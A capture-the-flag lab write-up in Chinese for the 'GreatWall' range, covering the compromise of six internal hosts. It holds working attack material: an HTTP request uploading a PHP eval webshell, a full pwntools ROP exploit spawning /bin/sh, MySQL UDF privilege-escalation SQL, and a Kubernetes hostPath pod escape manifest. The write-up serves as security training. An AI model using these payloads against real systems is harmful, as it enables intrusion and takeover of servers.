春秋云镜-GreatWall

渗透

春秋云镜-GreatWall

在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务,然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务,从而控制整个内部网络。靶场中共设置了6个Flag,它们分布在不同的靶机上,您需要找到并获取这些 Flag 作为您的成就目标。

flag01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fscan -h 8.130.145.86

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
8.130.145.86:22 open
8.130.145.86:8080 open
8.130.145.86:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.145.86 code:200 len:10887 title:""
[*] WebTitle http://8.130.145.86:8080 code:200 len:1027 title:Login Form
[+] PocScan http://8.130.145.86:8080 poc-yaml-thinkphp5023-method-rce poc1

直接梭哈了

image-20250414192137040

image-20250414192229423

flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}

一层内网

flag02(172.28.23.26)

./搭代理 扫内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
./fscan -h 172.28.23.17/24

172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.17:22 open
172.28.23.17:80 open
172.28.23.26:22 open
172.28.23.26:21 open
172.28.23.33:22 open
[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""
[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[*] WebTitle http://172.28.23.26 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] ftp 172.28.23.26:21:anonymous
[->]OASystem.zip
[*] WebTitle http://172.28.23.33:8080 code:302 len:0 title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=E40686EC209375B26A83788A8F7CF848
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=E40686EC209375B26A83788A8F7CF848 code:200 len:3860 title:智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

扫出来了挺多东西,总结一下

172.28.23.17 外网(已拿下

172.28.23.26 新翔OA

172.28.23.33 智联科技erp

漏洞好多

172.28.23.26存在ftp匿名登录

172.28.23.33存在heapdump泄露,还是个shiro,估计可以拿到key然后打反序列化。

把源代码拉下来看看。发现这个验证逻辑写了和没写有什么区别。

这样cookie里面存在这五个就可以登录了。比如:id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1

image-20250415120558366

然后web根目录还有一个uploadbase64.php,只要满足格式就可以上传,没有对内容进行检验。

比如说这种:data:image/php;base64,[base64]

image-20250415120810810

那我们直接传个马上去

1
2
3
4
5
6
7
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Content-Length: 69
Content-Type:application/x-www-form-urlencoded

imgbase64=data:image/php;base64, PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

image-20250415114545310

但是有disable_function

直接用蚁剑插件绕过就好了。

这个一直不是很明白,有的时候报成功了,但是不会弹出新的终端,我的经验是执行后弹出新的蚁剑虚拟终端那就尝试执行命令,有回显就是成功了。我这里的插件模式用的是PHP 7.0-8.0 disable_functions bypass [user_filter],不是图片里面的那个。

有的时候命令执行没有回显,多执行两次试试

image-20250415115002313

image-20250415115039223

flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}

flag03(172.28.23.33)

访问这个http://172.28.23.33:8080/actuator/heapdump,

用jddump拿一下信息。

image-20250415111253449

记得选GCM模式,key:AZYyIgMYhG6/CzIJlvpR2g==

image-20250415113150277

image-20250415113129114

成功连接。在home目录发现一个文件

image-20250415113404733

是个pwn题,直接抄网上的脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch='amd64'

def add(key,data='b'):
p.sendlineafter(b'Option:',b'1')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def show(key):
p.sendlineafter(b'Option:',b'2')
p.sendlineafter(b"Key: ",key);

def edit(key,data):
p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def name(username):
p.sendlineafter(b'Option:',b'4')
p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')


username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test') # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test') # 127


show(ukey)
main_ret=u64(p.read(8))-0x1e0




rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
0:username+0x20,
0x20:[username+0x30,len(ukey),\
ukey,0],
0x40:[main_ret,0x100,b'/bin/sh\x00']
},filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
rdi,username+0x50,
rsi,0,
rdx,0,0,
rax,0x3b,
syscall
])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

image-20250415113756914

flag03: flag{6a326f94-6526-4586-8233-152d137281fd}

二层内网

flag05(172.22.14.46)

OA这台机器有张172.22.14.6的网卡

image-20250415193727552

扫一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
172.22.14.46:80 open
172.22.14.6:80 open
172.22.14.46:22 open
172.22.14.37:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] WebTitle http://172.22.14.46 code:200 len:785 title:Harbor
[+] InfoScan http://172.22.14.46 [Harbor]
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[*] WebTitle http://172.22.14.6 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] ftp 172.22.14.6:21:anonymous
[->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

总结

172.22.14.6 已拿下

172.22.14.37 K8S

172.22.14.46 Harbor

这里内网应该没做隔离,所以没有必要做二层代理其实。存在harbor未授权

image-20250415194451672

1
proxychains python3 harbor.py http://172.22.14.46/ --dump harbor/secret -v2

翻到flag5

image-20250415195134634

flag05: flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}

flag06(172.22.10.28)

shiro机器还有一张网卡。

image-20250415113945017

扫一下

1
2
3
4
5
6
7
8
9
10
172.22.10.28:80 open
172.22.10.28:22 open
172.22.10.16:22 open
172.22.10.16:8080 open
172.22.10.28:3306 open
[*] WebTitle http://172.22.10.16:8080 code:302 len:0 title:None 跳转url: http://172.22.10.16:8080/login;jsessionid=42D75801B506D2A8CA2742DAA11F2B5B
[*] WebTitle http://172.22.10.28 code:200 len:1975 title:DooTask
[*] WebTitle http://172.22.10.16:8080/login;jsessionid=42D75801B506D2A8CA2742DAA11F2B5B code:200 len:3860 title:智联科技 ERP 后台登陆
[+] PocScan http://172.22.10.16:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.10.16:8080 poc-yaml-springboot-env-unauth spring2

再总结一下

172.22.10.16 已拿下

172.22.10.28 DooTask

再看到刚刚的harbor机器

1
proxychains python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2

可以拿到一个jar包

image-20250415201634014

拿到数据库账号密码,尝试使用mdut直接udf提权,失败了。手动打一下

查看有无写入权限。若secure_file_priv为空这可以写入文件。

1
show global variables like '%secure%';

查看插件位置(这一步是为了确定文件写入位置

1
2
3
show variables like 'plugin%';
#或者
SELECT @@plugin_dir;

查看操作系统版本

1
select @@version_compile_os, @@version_compile_machine;

根据版本选择写入文件。

1
SELECT hex数据 INTO DUMPFILE '插件位置';

创建函数

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

最后执行命令

1
select sys_eval('whoami')

image-20250415201009322

flag06: flag{413ac6ad-1d50-47cb-9cf3-17354b751741}

flag04(172.22.14.37)

浅析K8S各种未授权攻击方法 - 火线 Zone-安全攻防社区

扫描一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
./fscan -h 172.22.14.37 -p 1-65535

172.22.14.37:22 open
172.22.14.37:2380 open
172.22.14.37:2379 open
172.22.14.37:6443 open
172.22.14.37:10251 open
172.22.14.37:10252 open
172.22.14.37:10256 open
172.22.14.37:10250 open
[*] WebTitle http://172.22.14.37:10251 code:404 len:19 title:None
[*] WebTitle http://172.22.14.37:10252 code:404 len:19 title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19 title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671 title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19 title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth

10250打不了。看6443端口未授权。

但是kubectl是go编译的工具,走不了proxychains的代理。看看曾哥的博客,把虚拟机的流量代理出来就行

这里应该先看看镜像版本再写恶意yaml的,我懒得弄了。

1
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-58d48b746d-d6x8t

evil.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

创建pod,账号密码随便填就行

1
./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml

查看pod

1
./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

image-20250415210007902

1
./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-ht8xs -- /bin/bash

image-20250415210408316

成功进入容器。mnt挂载了宿主机的目录。直接进去找flag

在mysql里的历史记录找到flag。这里也可以写公钥,然后ssh连上宿主机。

image-20250415211206333

参考文章

春秋云境-GreatWall-先知社区

春秋云境-GreatWall(长城杯半决赛) – fushulingのblog

春秋云境 GreatWall(第一届长城杯半决赛渗透题) - Dr0n’s blog